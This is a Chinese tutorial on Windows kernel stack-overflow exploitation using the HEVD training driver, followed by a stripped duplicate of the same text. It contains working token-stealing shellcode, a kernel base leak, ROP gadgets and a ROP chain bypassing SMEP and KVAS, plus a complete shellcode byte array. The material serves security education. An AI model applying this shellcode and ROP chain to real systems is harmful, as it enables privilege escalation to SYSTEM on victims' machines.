从零探索现代windows内核栈溢出-以HEVD练习为例(下)
字数 1687 2025-08-23 18:31:17

Windows内核栈溢出漏洞利用技术详解 - 以HEVD为例

1. 内核漏洞利用基础概念

1.1 ROP (Return-Oriented Programming)

ROP是一种利用现有代码片段(gadget)来构建攻击链的技术:

  • 基本原理:通过控制栈指针,将一系列gadget地址按顺序布置在栈上,每个gadget以ret结束,从而形成执行链
  • 关键gadget示例
    pop rcx
    ret
    
    mov cr4, rcx
    ret
    
  • 执行流程
    1. 栈溢出覆盖返回地址为第一个gadget地址
    2. pop rcx从栈中取出值存入rcx
    3. ret跳转到下一个gadget
    4. mov cr4, rcx将值写入cr4寄存器
    5. 最终跳转到shellcode

1.2 内核地址空间随机化(ASLR)绕过

获取内核模块基地址的方法:

unsigned long long ulGetKernelBase(PCHAR ModuleName) {
    // 1. 从ntdll获取NtQuerySystemInformation函数
    HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
    PNtQuerySystemInformation NtQuerySystemInformation = 
        (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    
    // 2. 查询系统模块信息
    ULONG len = 0;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    
    // 3. 分配内存并获取模块信息
    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
    NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
    
    // 4. 遍历模块查找目标
    for(unsigned int i = 0; i < pModuleInfo->ModulesCount; i++) {
        PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
        if(strstr(kernelImage, ModuleName)) {
            PVOID kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
            return (unsigned long long)kernelImageBase;
        }
    }
    return 0;
}

1.3 常见ROP Gadget字节序列

Gadget名称 字节序列
RET 0xC3
POP_RAX 0x58, 0xC3
POP_RCX 0x59, 0xC3
MOV_CR4_RCX 0x0F, 0x22, 0xE1, 0xC3
NOP 0x4D, 0xC3
POP_RAX_POP_RCX 0x58, 0x59, 0xC3
MOV_RCX_PTRRAX 0x48, 0x89, 0x08, 0xC3
XOR_RAX_RAX 0x48, 0x33, 0xC0, 0xC3

2. Token提权技术详解

2.1 EPROCESS结构关键字段

  • UniqueProcessId: 进程唯一标识符
  • ActiveProcessLinks: 进程链表指针(双向链表)
  • Token: _EX_FAST_REF类型联合体,包含:
    • 引用计数(低4位)
    • 实际Token值(高位)

2.2 Token窃取Shellcode汇编实现

[Bits 64]
_start:
    xor rax, rax
    mov rax, gs:[rax + 0x188]    ; 获取当前_KTHREAD
    mov rax, [rax + 0xb8]        ; rax = 当前EPROCESS
    mov r9, rax                  ; 保存当前EPROCESS
    
    ; 遍历进程链表寻找System进程(pid=4)
    mov rax, [rax + 0x448]       ; ActiveProcessLinks
    mov rax, [rax]               ; 第一个Flink
__loop:
    mov rdx, [rax - 0x8]         ; UniqueProcessId
    mov r8, rax                  ; 保存当前链表项
    mov rax, [rax]               ; 下一个链表项
    cmp rdx, 0x4                 ; 检查是否为System进程
    jnz __loop
    
    ; 窃取System进程Token
    mov rdx, [r8 + 0x70]        ; System Token
    and rdx, -0x8               ; 清除低4位引用计数
    mov rcx, [r9 + 0x4b8]       ; 当前进程Token
    and rcx, 0x7                ; 只保留低3位
    add rdx, rcx                ; 合并Token值
    mov [r9 + 0x4b8], rdx       ; 写入当前进程Token
    
    ; 启用所有权限
    mov rdx, [r8 + 0x70]        ; 再次获取System Token
    and rdx, 0xFFFFFFFFFFFFFFF0 ; 清除低8位
    mov rbx, [rdx + 0x40]       ; System Token的Present权限
    mov rcx, [r9 + 0x4b8]       ; 当前Token
    and rcx, 0xFFFFFFFFFFFFFFF0 ; 清除低8位
    mov [rcx + 0x40], rbx       ; 设置Present权限
    mov [rcx + 0x48], rbx       ; 设置Enabled权限
    
    xor rax, rax
    add rsp, 0x10
    retn

2.3 Shellcode编译与提取

  1. 使用NASM编译:
    nasm -f win64 TokenSteal.asm -o TokenSteal.bin
    
  2. 使用工具(CFF Explorer或HxD)从COFF格式中提取机器码

3. KVAS (Kernel Virtual Address Shadow)绕过技术

3.1 KVAS背景与原理

  • 产生原因:缓解MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)漏洞
  • 防护机制
    • 用户页表中隔离内核页表
    • 用户页表自动标记为NX(不可执行)
  • 绕过思路:在内核空间分配可执行内存并复制shellcode

3.2 关键内核函数

  1. ExAllocatePoolWithTag:

    • 功能:在内核池中分配内存
    • 原型:LPVOID ExAllocatePoolWithTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)
    • 注意:绕过mov指令干扰,直接进入push rdi
  2. RtlCopyMemory:

    • 功能:内存复制
    • 实际上是memcpy的宏

3.3 ROP链设计

// 函数地址获取
unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
unsigned long long ulExAllocatePoolWithTag = base + 0x9B203F;
unsigned long long ulRtlCopyMemory = base + 0x40BEC0;

// ROP链布局
*(funcaddr*)(stackspace + 0x818) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x818 + 8) = (funcaddr)0;          // NonPagedPoolExecute
*(funcaddr*)(stackspace + 0x818 + 0x10) = (funcaddr)pop_rdx;
*(funcaddr*)(stackspace + 0x818 + 0x18) = (funcaddr)0x100;   // 大小
*(funcaddr*)(stackspace + 0x818 + 0x20) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x28) = (funcaddr)0xDEAD;  // Tag
*(funcaddr*)(stackspace + 0x818 + 0x30) = (funcaddr)ulExAllocatePoolWithTag;

// 特殊gadget链实现mov rcx, rax
*(funcaddr*)(stackspace + 0x818 + 0x38) = (funcaddr)pop_rdi;
*(funcaddr*)(stackspace + 0x818 + 0x40) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x818 + 0x48) = (funcaddr)push_rax_rdi;

// 复制shellcode到内核
*(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx;
*(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr;
*(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);
*(funcaddr*)(stackspace + 0x818 + 0x80) = (funcaddr)ulRtlCopyMemory;
*(funcaddr*)(stackspace + 0x818 + 0x88) = (funcaddr)jmp_rax;

3.4 完整Shellcode(包含TrapFrame恢复)

unsigned char cmd[176] = {
    0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00,
    0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
    0x8B, 0x50, 0xF8, 0x49, 0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
    0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x83,
    0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91, 0xB8, 0x04, 0x00, 0x00, 0x49, 0x8B, 0x50, 0x70,
    0x48, 0x83, 0xE2, 0xF0, 0x48, 0x8B, 0x5A, 0x40, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48,
    0x83, 0xE1, 0xF0, 0x48, 0x89, 0x59, 0x40, 0x48, 0x89, 0x59, 0x48, 0x65, 0x48, 0x8B, 0x04, 0x25,
    0x88, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x88, 0xE4, 0x01, 0x00, 0x00, 0x66, 0xFF, 0xC1, 0x66, 0x89,
    0x88, 0xE4, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8A, 0x68,
    0x01, 0x00, 0x00, 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xA2, 0x80, 0x01, 0x00,
    0x00, 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00, 0x31, 0xC0, 0x0F, 0x01, 0xF8, 0x48, 0x0F, 0x07
};

4. 参考资源

  1. x64 Kernel Shellcode Revisited and SMEP Bypass
  2. Starting with Windows Kernel Exploitation – Part 3 – Stealing the Access Token
  3. Windows Kernel Exploits
Windows内核栈溢出漏洞利用技术详解 - 以HEVD为例 1. 内核漏洞利用基础概念 1.1 ROP (Return-Oriented Programming) ROP是一种利用现有代码片段(gadget)来构建攻击链的技术: 基本原理 :通过控制栈指针,将一系列gadget地址按顺序布置在栈上,每个gadget以 ret 结束,从而形成执行链 关键gadget示例 : 执行流程 : 栈溢出覆盖返回地址为第一个gadget地址 pop rcx 从栈中取出值存入rcx ret 跳转到下一个gadget mov cr4, rcx 将值写入cr4寄存器 最终跳转到shellcode 1.2 内核地址空间随机化(ASLR)绕过 获取内核模块基地址的方法: 1.3 常见ROP Gadget字节序列 | Gadget名称 | 字节序列 | |-------------------|---------------------------| | RET | 0xC3 | | POP_ RAX | 0x58, 0xC3 | | POP_ RCX | 0x59, 0xC3 | | MOV_ CR4_ RCX | 0x0F, 0x22, 0xE1, 0xC3 | | NOP | 0x4D, 0xC3 | | POP_ RAX_ POP_ RCX | 0x58, 0x59, 0xC3 | | MOV_ RCX_ PTRRAX | 0x48, 0x89, 0x08, 0xC3 | | XOR_ RAX_ RAX | 0x48, 0x33, 0xC0, 0xC3 | 2. Token提权技术详解 2.1 EPROCESS结构关键字段 UniqueProcessId : 进程唯一标识符 ActiveProcessLinks : 进程链表指针(双向链表) Token : _EX_FAST_REF 类型联合体,包含: 引用计数(低4位) 实际Token值(高位) 2.2 Token窃取Shellcode汇编实现 2.3 Shellcode编译与提取 使用NASM编译: 使用工具(CFF Explorer或HxD)从COFF格式中提取机器码 3. KVAS (Kernel Virtual Address Shadow)绕过技术 3.1 KVAS背景与原理 产生原因 :缓解MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)漏洞 防护机制 : 用户页表中隔离内核页表 用户页表自动标记为NX(不可执行) 绕过思路 :在内核空间分配可执行内存并复制shellcode 3.2 关键内核函数 ExAllocatePoolWithTag : 功能:在内核池中分配内存 原型: LPVOID ExAllocatePoolWithTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) 注意:绕过 mov 指令干扰,直接进入 push rdi RtlCopyMemory : 功能:内存复制 实际上是 memcpy 的宏 3.3 ROP链设计 3.4 完整Shellcode(包含TrapFrame恢复) 4. 参考资源 x64 Kernel Shellcode Revisited and SMEP Bypass Starting with Windows Kernel Exploitation – Part 3 – Stealing the Access Token Windows Kernel Exploits